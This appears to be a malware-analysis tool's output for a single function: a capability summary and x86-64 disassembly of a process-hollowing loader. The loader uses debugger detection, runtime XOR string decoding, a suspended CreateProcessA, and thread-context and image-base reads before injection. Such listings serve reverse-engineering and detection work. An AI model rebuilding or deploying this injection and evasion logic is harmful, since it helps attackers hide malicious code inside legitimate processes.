Function at 0x14000f5e0
Capabilities:
Create process on windows
Create process suspended
Encode data using xor
Terminate process

Disassembly:
push rbp
push rbx
lea rbp, [rsp - 0x8b8]
sub rsp, 0x9b8
mov rax, qword [0x14006a080]
xor rax, rsp
mov qword [rbp + 0x880], rax
call qword [sym.imp.KERNEL32.dll_GetConsoleWindow]
mov rcx, rax
xor edx, edx
call qword [sym.imp.USER32.dll_ShowWindow]
call qword [sym.imp.KERNEL32.dll_IsDebuggerPresent]
test eax, eax
je 0x14000f735
mov byte [rsp + 0x60], 0
call fcn.14002a79c
xor al, 0x44
mov byte [rsp + 0x61], al
call fcn.14002a79c
xor al, 0x65
mov byte [rsp + 0x62], al
call fcn.14002a79c
xor al, 0x62
mov byte [rsp + 0x63], al
call fcn.14002a79c
xor al, 0x75
mov byte [rsp + 0x64], al
call fcn.14002a79c
xor al, 0x67
mov byte [rsp + 0x65], al
call fcn.14002a79c
xor al, 0x67
mov byte [rsp + 0x66], al
call fcn.14002a79c
xor al, 0x65
mov byte [rsp + 0x67], al
call fcn.14002a79c
xor al, 0x72
mov byte [rsp + 0x68], al
call fcn.14002a79c
xor al, 0x20
mov byte [rsp + 0x69], al
call fcn.14002a79c
xor al, 0x64
mov byte [rsp + 0x6a], al
call fcn.14002a79c
xor al, 0x65
mov byte [rsp + 0x6b], al
call fcn.14002a79c
xor al, 0x74
mov byte [rsp + 0x6c], al
call fcn.14002a79c
xor al, 0x65
mov byte [rsp + 0x6d], al
call fcn.14002a79c
xor al, 0x63
mov byte [rsp + 0x6e], al
call fcn.14002a79c
xor al, 0x74
mov byte [rsp + 0x6f], al
call fcn.14002a79c
xor al, 0x65
mov byte [rsp + 0x70], al
call fcn.14002a79c
xor al, 0x64
mov byte [rsp + 0x71], al
call fcn.14002a79c
xor al, 0x21
mov byte [rsp + 0x72], al
call fcn.14002a79c
cmp byte [rsp + 0x60], 0
mov byte [rsp + 0x73], al
jne 0x14000f712
xor ebx, ebx
nop
call fcn.14002a79c
xor byte [rsp + rbx + 0x61], al
inc rbx
cmp rbx, 0x13
jb 0x14000f700
lea rdx, [rsp + 0x61]
lea rcx, [0x14006e3f0]
call fcn.140018c70
mov rcx, rax
call fcn.14001b610
mov eax, 0xffffffff
jmp 0x14000fa3b
mov qword [rsp + 0x9d0], rsi
mov qword [rsp + 0x9d8], rdi
mov qword [rsp + 0x9a8], r14
call fcn.14000cc30
lea rcx, [rsp + 0x60]
call fcn.140015330
mov rsi, rax
mov r14d, 0x20
cmp byte [rax], 0
jne 0x14000f782
lea rbx, [rax + 1]
mov edi, r14d
call fcn.14002a79c
xor byte [rbx], al
lea rbx, [rbx + 1]
sub rdi, 1
jne 0x14000f771
lea rcx, [rsi + 1]
call fcn.140036f6c
test eax, eax
jne 0x14000f7ef
lea rcx, [rbp - 0x68]
call fcn.140012c40
mov rsi, rax
cmp byte [rax], 0
jne 0x14000f7c1
lea rbx, [rax + 1]
mov edi, 0x19
nop dword [rax]
call fcn.14002a79c
xor byte [rbx], al
lea rbx, [rbx + 1]
sub rdi, 1
jne 0x14000f7b0
lea rdx, [rsi + 1]
lea rcx, [0x14006e3f0]
call fcn.140018c70
mov rcx, rax
call fcn.14001b610
lea rcx, str.PAUSE
call fcn.140036f6c
mov eax, 0xffffffff
jmp 0x14000fa23
call fcn.14000d0a0
test al, al
je 0x1400102fa
lea rcx, [rbp - 0x68]
call fcn.140012ae0
mov rsi, rax
cmp byte [rax], 0
jne 0x14000f825
lea rbx, [rax + 1]
mov rdi, r14
call fcn.14002a79c
xor byte [rbx], al
lea rbx, [rbx + 1]
sub rdi, 1
jne 0x14000f814
lea rdx, [rsi + 1]
lea rcx, [0x14006e3f0]
call fcn.140018c70
mov rcx, rax
call fcn.14001b610
mov byte [rbp - 0x68], 0
call fcn.14002a79c
xor al, 0x5b
mov byte [rbp - 0x67], al
call fcn.14002a79c
xor al, 0x50
mov byte [rbp - 0x66], al
call fcn.14002a79c
xor al, 0x52
mov byte [rbp - 0x65], al
call fcn.14002a79c
xor al, 0x4f
mov byte [rbp - 0x64], al
call fcn.14002a79c
xor al, 0x43
mov byte [rbp - 0x63], al
call fcn.14002a79c
xor al, 0x45
mov byte [rbp - 0x62], al
call fcn.14002a79c
xor al, 0x53
mov byte [rbp - 0x61], al
call fcn.14002a79c
xor al, 0x53
mov byte [rbp - 0x60], al
call fcn.14002a79c
xor al, r14b
mov byte [rbp - 0x5f], al
call fcn.14002a79c
xor al, 0x48
mov byte [rbp - 0x5e], al
call fcn.14002a79c
xor al, 0x4f
mov byte [rbp - 0x5d], al
call fcn.14002a79c
xor al, 0x4c
mov byte [rbp - 0x5c], al
call fcn.14002a79c
xor al, 0x4c
mov byte [rbp - 0x5b], al
call fcn.14002a79c
xor al, 0x4f
mov byte [rbp - 0x5a], al
call fcn.14002a79c
xor al, 0x57
mov byte [rbp - 0x59], al
call fcn.14002a79c
xor al, 0x49
mov byte [rbp - 0x58], al
call fcn.14002a79c
xor al, 0x4e
mov byte [rbp - 0x57], al
call fcn.14002a79c
xor al, 0x47
mov byte [rbp - 0x56], al
call fcn.14002a79c
xor al, 0x5d
mov byte [rbp - 0x55], al
call fcn.14002a79c
xor al, 0xa
mov byte [rbp - 0x54], al
call fcn.14002a79c
xor ebx, ebx
mov byte [rbp - 0x53], al
cmp byte [rbp - 0x68], bl
jne 0x14000f932
mov edi, ebx
nop dword [rax + rax]
call fcn.14002a79c
xor byte [rbp + rdi - 0x67], al
inc rdi
cmp rdi, 0x15
jb 0x14000f920
mov qword [rsp + 0x9e0], r12
lea rcx, [rbp - 0x67]
mov qword [rsp + 0x9b0], r13
mov qword [rsp + 0x9a0], r15
movaps xmmword [rsp + 0x990], xmm6
call fcn.140001290
mov rdi, qword [0x14006fea8]
test rdi, rdi
je 0x14000f9fe
lea rcx, [rsp + 0x60]
call fcn.1400129b0
mov r13, rax
cmp byte [rax], bl
jne 0x14000f997
lea rsi, [rax + 1]
mov r15d, 0x1c
call fcn.14002a79c
xor byte [rsi], al
lea rsi, [rsi + 1]
sub r15, 1
jne 0x14000f986
lea rcx, [r13 + 1]
mov rdx, rdi
call fcn.140001290
movsxd rax, dword [rdi + 0x3c]
cmp dword [rax + rdi], 0x4550
je 0x14000fa54
lea rcx, [rsp + 0x60]
call fcn.140012850
mov rsi, rax
cmp byte [rax], bl
jne 0x14000f9e1
lea rbx, [rax + 1]
nop dword [rax]
call fcn.14002a79c
xor byte [rbx], al
lea rbx, [rbx + 1]
sub r14, 1
jne 0x14000f9d0
lea rcx, [rsi + 1]
call fcn.140001290
call qword [sym.imp.KERNEL32.dll_GetProcessHeap]
mov r8, rdi
xor edx, edx
mov rcx, rax
call qword [sym.imp.KERNEL32.dll_HeapFree]
mov eax, 0xffffffff
mov r15, qword [rsp + 0x9a0]
mov r12, qword [rsp + 0x9e0]
mov r13, qword [rsp + 0x9b0]
movaps xmm6, xmmword [rsp + 0x990]
mov rdi, qword [rsp + 0x9d8]
mov rsi, qword [rsp + 0x9d0]
mov r14, qword [rsp + 0x9a8]
mov rcx, qword [rbp + 0x880]
xor rcx, rsp
call fcn.14002b600
add rsp, 0x9b8
pop rbx
pop rbp
ret
lea rcx, [rsp + 0x60]
call fcn.140012720
mov r13, rax
cmp byte [rax], bl
jne 0x14000fa81
lea rsi, [rax + 1]
mov r15d, 0x1b
nop
call fcn.14002a79c
xor byte [rsi], al
lea rsi, [rsi + 1]
sub r15, 1
jne 0x14000fa70
lea rcx, [r13 + 1]
call fcn.140001290
mov rcx, qword [0x14006feb0]
xorps xmm0, xmm0
xor eax, eax
mov dword [rbp + 0x810], WSAGetLastError
mov dword [rbp + 0x874], eax
xor r9d, r9d
mov qword [rbp + 0x40], rax
xor r8d, r8d
lea rax, [rbp + 0x30]
xor edx, edx
mov qword [rsp + 0x48], rax
lea rax, [rbp + 0x810]
mov qword [rsp + 0x40], rax
mov qword [rsp + 0x38], rbx
mov qword [rsp + 0x30], rbx
mov dword [rsp + 0x28], 4
mov dword [rsp + 0x20], 1
movups xmmword [rbp + 0x814], xmm0
movups xmmword [rbp + 0x824], xmm0
movups xmmword [rbp + 0x834], xmm0
movups xmmword [rbp + 0x844], xmm0
movups xmmword [rbp + 0x854], xmm0
movups xmmword [rbp + 0x864], xmm0
movups xmmword [rbp + 0x30], xmm0
call qword [sym.imp.KERNEL32.dll_CreateProcessA]
test eax, eax
jne 0x14000fb56
lea rdx, str.____An_error_is_occured_when_trying_to_create_the_target_process___n
lea rcx, [rbp - 0x30]
call fcn.140012460
mov r14, rax
cmp byte [rax], bl
jne 0x1400102a1
lea rbx, [rax + 1]
mov esi, 0x44
nop dword [rax]
call fcn.14002a79c
xor byte [rbx], al
lea rbx, [rbx + 1]
sub rsi, 1
jne 0x14000fb40
jmp 0x1400102a1
mov rcx, qword [rbp + 0x30]
lea rdx, [rbp + 0x800]
call qword [sym.imp.KERNEL32.dll_IsWow64Process]
xor edx, edx
cmp dword [rbp + 0x800], ebx
je 0x14000fc3c
mov r8d, 0x2c8
mov qword [rbp + 0x48], rbx
lea rcx, [rbp + 0x64]
call fcn.14004fd80
mov rcx, qword [rbp + 0x38]
lea rdx, [rbp + 0x60]
mov dword [rbp + 0x60], 0x10000b
call qword [sym.imp.KERNEL32.dll_Wow64GetThreadContext]
mov edx, dword [rbp + 0x104]
lea r8, [rbp + 0x48]
mov rcx, qword [rbp + 0x30]
add edx, 8
mov r9d, 4
mov qword [rsp + 0x20], rbx
call qword [sym.imp.KERNEL32.dll_ReadProcessMemory]
test eax, eax
jne 0x14000fbda
xorps xmm0, xmm0
xorps xmm6, xmm6
psrldq xmm0, 8
movq rax, xmm6
movq rcx, xmm0
jmp 0x14000fbf4
mov eax, dword [rbp + 0x104]
mov rcx, qword [rbp + 0x48]
mov qword [rsp + 0x60], rax
mov qword [rsp + 0x68], rcx
movdqa xmm6, xmmword [rsp + 0x60]
test rcx, rcx
je 0x14000fc02
test rax, rax
jne 0x14000fcd9
lea rdx, str.____An_error_is_occured_when_trying_to_get_the_image_base_address_of_the_target_process___n
lea rcx, [rbp - 0x30]
call fcn.1400120b0
mov r14, rax
cmp byte [rax], bl
jne 0x1400102a1
lea rsi, [rax + 1]
mov ebx, 0x5b
call fcn.14002a79c
xor byte [rsi], al
lea rsi, [rsi + 1]
sub rbx, 1
jne 0x14000fc26
jmp 0x1400102a1
mov r8d, 0x4d0
mov qword [rbp + 0x50], rbx
lea rcx, [rbp + 0x330]
call fcn.14004fd80
mov rcx, qword [rbp + 0x38]
lea rdx, [rbp + 0x330]
mov dword [rbp + 0x360], 0x10000b
call qword [sym.imp.KERNEL32.dll_GetThreadContext]
mov rdx, qword [rbp + 0x3b8]
lea r8, [rbp + 0x50]
mov rcx, qword [rbp + 0x30]
add rdx, 0x10
mov r9d, 8
mov qword [rsp + 0x20], rbx
call qword [sym.imp.KERNEL32.dll_ReadProcessMemory]
test eax, eax
jne 0x14000fcac
xorps xmm0, xmm0
xorps xmm6, xmm6
psrldq xmm0, 8
movq rax, xmm6
movq rcx, xmm0
jmp 0x14000fcc7
mov rax, qword [rbp + 0x3b8]
mov rcx, qword [rbp + 0x50]
mov qword [rsp + 0x60], rax
mov qword [rsp + 0x68], rcx
movdqa xmm6, xmmword [rsp + 0x60]
test rcx, rcx
je 0x140010269
test rax, rax
je 0x140010269
lea rcx, [rsp + 0x60]
call fcn.140011f60
mov r12, rax
mov r13d, 0x1f
cmp byte [rax], bl
jne 0x14000fd08
lea rsi, [rax + 1]
mov r15d, r13d
call fcn.14002a79c
xor byte [rsi], al
lea rsi, [rsi + 1]
sub r15, 1
jne 0x14000fcf7
lea rcx, [r12 + 1]
movq rdx, xmm6
call fcn.140001290
lea rcx, [rbp - 0x30]
call fcn.140011dd0
mov r12, rax
cmp byte [rax], bl
jne 0x14000fd42
lea rsi, [rax + 1]
mov r15d, 0x26
call fcn.14002a79c
xor byte [rsi], al
lea rsi, [rsi + 1]
sub r15, 1
jne 0x14000fd31
psrldq xmm6, 8
lea rcx, [r12 + 1]
movq rdx, xmm6
call fcn.140001290
movsxd rax, dword [rdi + 0x3c]
mov ecx, 0x10b
movzx eax, word [rax + rdi + 0x18]
cmp ax, cx
mov word [rsp + 0x50], ax
lea rcx, [rbp - 0x30]
jne 0x14000fda4
call fcn.140011c20
mov qword [rbp - 0x70], rax
mov esi, 0x28
cmp byte [rax], bl
jne 0x14000fdd6
lea r15, [rax + 1]
mov r12d, esi
nop dword [rax + rax]
call fcn.14002a79c
xor byte [r15], al
lea r15, [r15 + 1]
sub r12, 1
jne 0x14000fd90
jmp 0x14000fdd2
call fcn.140011a70
mov qword [rbp - 0x70], rax
mov esi, 0x28
cmp byte [rax], bl
jne 0x14000fdd6
lea r15, [rax + 1]
mov r12d, esi
nop dword [rax]
call fcn.14002a79c
xor byte [r15], al
lea r15, [r15 + 1]
sub r12, 1
jne 0x14000fdc0
mov rax, qword [rbp - 0x70]
lea rcx, [rax + 1]
call fcn.140001290
lea rcx, [rbp - 0x30]
cmp dword [rbp + 0x800], ebx
je 0x14000fe14
call fcn.1400118c0
mov r12, rax
cmp byte [rax], bl
jne 0x14000fe36
lea r15, [rax + 1]
nop dword [rax + rax]
call fcn.14002a79c
xor byte [r15], al
lea r15, [r15 + 1]
sub rsi, 1
jne 0x14000fe00
jmp 0x14000fe36
call fcn.140011710
mov r12, rax
cmp byte [rax], bl
jne 0x14000fe36
lea r15, [rax + 1]
call fcn.14002a79c
xor byte [r15], al
lea r15, [r15 + 1]
sub rsi, 1
jne 0x14000fe24
lea rcx, [r12 + 1]
call fcn.140001290
mov eax, 0x10b
cmp word [rsp + 0x50], ax
jne 0x14000fe8f
cmp dword [rbp + 0x800], ebx
jne 0x14000fe97
lea rcx, [rbp - 0x30]
call fcn.1400113f0
mov rsi, rax
cmp byte [rax], bl
jne 0x14000fe81
lea rbx, [rax + 1]
mov edi, 0x27
nop dword [rax]
call fcn.14002a79c
xor byte [rbx], al
lea rbx, [rbx + 1]
sub rdi, 1
jne 0x14000fe70
lea rcx, [rsi + 1]
call fcn.140001290
jmp 0x14000f9fe
cmp dword [rbp + 0x800], ebx
jne 0x14000fe54
lea rcx, [rsp + 0x60]
call fcn.140011590
mov qword [rbp - 0x70], rax
mov r15d, 0x23
cmp byte [rax], bl
jne 0x14000fecb
lea rsi, [rax + 1]
mov r12d, r15d
call fcn.14002a79c
xor byte [rsi], al
lea rsi, [rsi + 1]
sub r12, 1
jne 0x14000feb6
mov rax, qword [rbp - 0x70]
lea rcx, [rax + 1]
call fcn.140001290
movsxd rax, dword [rdi + 0x3c]
mov ecx, 0x10b
cmp word [rsp + 0x50], cx
movzx ecx, word [rax + rdi + 0x5c]
movzx eax, cx
lea rcx, [rbp - 0x30]
mov dword [rbp - 0x70], eax
call fcn.140011270
mov qword [rsp + 0x60], rax
cmp byte [rax], bl
jne 0x14000ff1c
lea rsi, [rax + 1]
mov r12, r15
call fcn.14002a79c
xor byte [rsi], al
lea rsi, [rsi + 1]
sub r12, 1
jne 0x14000ff06
mov rax, qword [rsp + 0x60]
mov edx, dword [rbp - 0x70]
lea rcx, [rax + 1]
call fcn.140001290
movq rdx, xmm6
mov rcx, qword [rbp + 0x30]
cmp dword [rbp + 0x800], ebx
je 0x14000ff40
call fcn.14000dbd0
jmp 0x14000ff45
call fcn.14000ddb0
mov dword [rbp + 0x48], eax
mov esi, eax
cmp eax, 0xffffffff
jne 0x14000ff89
lea rdx, str.____An_error_is_occured_when_trying_to_get_the_subsytem_of_the_target_process._n
lea rcx, [rbp - 0x30]
call fcn.140010f30
mov r14, rax
cmp byte [rax], bl
jne 0x1400102a1
lea rbx, [rax + 1]
mov esi, 0x50
call fcn.14002a79c
xor byte [rbx], al
lea rbx, [rbx + 1]
sub rsi, 1
jne 0x14000ff73
jmp 0x1400102a1
lea rcx, [rbp - 0x30]
call fcn.140010da0
mov qword [rsp + 0x60], rax
cmp byte [rax], bl
jne 0x14000ffbe
lea rsi, [rax + 1]
mov r12d, 0x25
call fcn.14002a79c
xor byte [rsi], al
lea rsi, [rsi + 1]
sub r12, 1
jne 0x14000ffa5
mov esi, dword [rbp + 0x48]
mov rax, qword [rsp + 0x60]
lea rcx, [rax + 1]
mov edx, esi
call fcn.140001290
cmp dword [rbp - 0x70], esi
jne 0x14001023e
lea rcx, [rsp + 0x60]
call fcn.140010c50
mov r15, rax
cmp byte [rax], bl
jne 0x14000fff8
lea rsi, [rax + 1]
call fcn.14002a79c
xor byte [rsi], al
lea rsi, [rsi + 1]
sub r13, 1
jne 0x14000ffe7
lea rcx, [r15 + 1]
call fcn.140001290
movzx esi, word [rsp + 0x50]
mov r15d, 0x10b
movsxd rax, dword [rdi + 0x3c]
cmp si, r15w
jne 0x14001001f
cmp dword [rax + rdi + 0xa0], ebx
jmp 0x140010026
cmp dword [rax + rdi + 0xb0], ebx
setne bl
test ebx, ebx
jne 0x140010063
lea rdx, str.___The_source_image_doesnt_have_a_relocation_table._n
lea rcx, [rbp - 0x30]
call fcn.140010890
mov r13, rax
cmp byte [rax], bl
jne 0x1400100a1
lea rsi, [rax + 1]
lea r15d, [rbx + 0x37]
nop dword [rax]
call fcn.14002a79c
xor byte [rsi], al
lea rsi, [rsi + 1]
sub r15, 1
jne 0x140010050
jmp 0x140010096
lea rdx, str.___The_source_image_has_a_relocation_table._n
lea rcx, [rbp - 0x30]
call fcn.1400106b0
mov r13, rax
cmp byte [rax], 0
jne 0x1400100a1
lea rsi, [rax + 1]
mov r15d, 0x2e
call fcn.14002a79c
xor byte [rsi], al
lea rsi, [rsi + 1]
sub r15, 1
jne 0x140010085
movzx esi, word [rsp + 0x50]
mov r15d, 0x10b
lea rcx, [r13 + 1]
call fcn.140001290
lea rcx, [rbp + 0x30]
mov rdx, rdi
cmp si, r15w
jne 0x140010145
test ebx, ebx
jne 0x140010106
call fcn.14000dfa0
test eax, eax
je 0x140010200
lea rcx, [rsp + 0x60]
call fcn.140010550
mov r14, rax
cmp byte [rax], bl
jne 0x1400101b8
lea rsi, [rax + 1]
mov ebx, 0x21
nop word [rax + rax]
call fcn.14002a79c
xor byte [rsi], al
lea rsi, [rsi + 1]
sub rbx, 1
jne 0x1400100f0
jmp 0x1400101b8
call fcn.14000e7f0
test eax, eax
je 0x140010200
lea rcx, [rsp + 0x60]
call fcn.140010550
mov r14, rax
cmp byte [rax], 0
jne 0x1400101b8
lea rsi, [rax + 1]
mov ebx, 0x21
call fcn.14002a79c
xor byte [rsi], al
lea rsi, [rsi + 1]
sub rbx, 1
jne 0x140010132
jmp 0x1400101b8
test ebx, ebx
jne 0x140010183
call fcn.14000e3c0
test eax, eax
je 0x140010200
lea rcx, [rsp + 0x60]
call fcn.140010550
mov r14, rax
cmp byte [rax], bl
jne 0x1400101b8
lea rsi, [rax + 1]
mov ebx, 0x21
call fcn.14002a79c
xor byte [rsi], al
lea rsi, [rsi + 1]
sub rbx, 1
jne 0x140010170
jmp 0x1400101b8
call fcn.14000ef00
test eax, eax
je 0x140010200
lea rcx, [rsp + 0x60]
call fcn.140010550
mov r14, rax
cmp byte [rax], 0
jne 0x1400101b8
lea rsi, [rax + 1]
mov ebx, 0x21
call fcn.14002a79c
xor byte [rsi], al
lea rsi, [rsi + 1]
sub rbx, 1
jne 0x1400101a7
lea rcx, [r14 + 1]
call fcn.140001290
cmp rdi, 0xffffffffffffffff
je 0x1400101db
call qword [sym.imp.KERNEL32.dll_GetProcessHeap]
mov r8, rdi
xor edx, edx
mov rcx, rax
call qword [sym.imp.KERNEL32.dll_HeapFree]
mov rcx, qword [rbp + 0x38]
test rcx, rcx
je 0x1400101ea
call qword [sym.imp.KERNEL32.dll_CloseHandle]
mov rcx, qword [rbp + 0x30]
test rcx, rcx
je 0x1400101f9
call qword [sym.imp.KERNEL32.dll_CloseHandle]
xor eax, eax
jmp 0x14000fa03
lea rcx, [rsp + 0x60]
call fcn.1400103f0
mov rsi, rax
cmp byte [rax], 0
jne 0x140010227
lea rbx, [rax + 1]
call fcn.14002a79c
xor byte [rbx], al
lea rbx, [rbx + 1]
sub r14, 1
jne 0x140010216
lea rcx, [rsi + 1]
call fcn.140001290
lea rcx, str.PAUSE
call fcn.140036f6c
jmp 0x1400102b0
lea rcx, [rbp - 0x30]
call fcn.140010ad0
mov rsi, rax
cmp byte [rax], bl
jne 0x140010263
lea rbx, [rax + 1]
call fcn.14002a79c
xor byte [rbx], al
lea rbx, [rbx + 1]
sub r15, 1
jne 0x140010252
lea rcx, [rsi + 1]
jmp 0x1400102a5
lea rdx, str.____An_error_is_occured_when_trying_to_get_the_image_base_address_of_the_target_process___n
lea rcx, [rbp - 0x30]
call fcn.1400120b0
mov r14, rax
cmp byte [rax], bl
jne 0x1400102a1
lea rsi, [rax + 1]
mov ebx, 0x5b
nop dword [rax]
call fcn.14002a79c
xor byte [rsi], al
lea rsi, [rsi + 1]
sub rbx, 1
jne 0x140010290
lea rcx, [r14 + 1]
call fcn.140001290
cmp rdi, 0xffffffffffffffff
je 0x1400102c4
call qword [sym.imp.KERNEL32.dll_GetProcessHeap]
mov r8, rdi
xor edx, edx
mov rcx, rax
call qword [sym.imp.KERNEL32.dll_HeapFree]
mov rcx, qword [rbp + 0x38]
test rcx, rcx
je 0x1400102d3
call qword [sym.imp.KERNEL32.dll_CloseHandle]
mov rcx, qword [rbp + 0x30]
test rcx, rcx
je 0x14000f9fe
mov edx, 0xffffffff
call qword [sym.imp.KERNEL32.dll_TerminateProcess]
mov rcx, qword [rbp + 0x30]
call qword [sym.imp.KERNEL32.dll_CloseHandle]
jmp 0x14000f9fe
mov byte [rsp + 0x60], 0
call fcn.14002a79c
xor al, 0x50
mov byte [rsp + 0x61], al
call fcn.14002a79c
xor al, 0x72
mov byte [rsp + 0x62], al
call fcn.14002a79c
xor al, 0x6f
mov byte [rsp + 0x63], al
call fcn.14002a79c
xor al, 0x63
mov byte [rsp + 0x64], al
call fcn.14002a79c
xor al, 0x65
mov byte [rsp + 0x65], al
call fcn.14002a79c
xor al, 0x73
mov byte [rsp + 0x66], al
call fcn.14002a79c
xor al, 0x73
mov byte [rsp + 0x67], al
call fcn.14002a79c
xor al, r14b
mov byte [rsp + 0x68], al
call fcn.14002a79c
xor al, 0x66
mov byte [rsp + 0x69], al
call fcn.14002a79c
xor al, 0x61
mov byte [rsp + 0x6a], al
call fcn.14002a79c
xor al, 0x69
mov byte [rsp + 0x6b], al
call fcn.14002a79c
xor al, 0x6c
mov byte [rsp + 0x6c], al
call fcn.14002a79c
xor al, 0x65
mov byte [rsp + 0x6d], al
call fcn.14002a79c
xor al, 0x64
mov byte [rsp + 0x6e], al
call fcn.14002a79c
xor al, 0x2e
mov byte [rsp + 0x6f], al
call fcn.14002a79c
cmp byte [rsp + 0x60], 0
mov byte [rsp + 0x70], al
jne 0x1400103c9
xor ebx, ebx
call fcn.14002a79c
xor byte [rsp + rbx + 0x61], al
inc rbx
cmp rbx, 0x10
jb 0x1400103b7
lea rdx, [rsp + 0x61]
lea rcx, [0x14006e580]
call fcn.140018c70
mov rcx, rax
call fcn.14001b610
mov eax, 1
jmp 0x14000fa23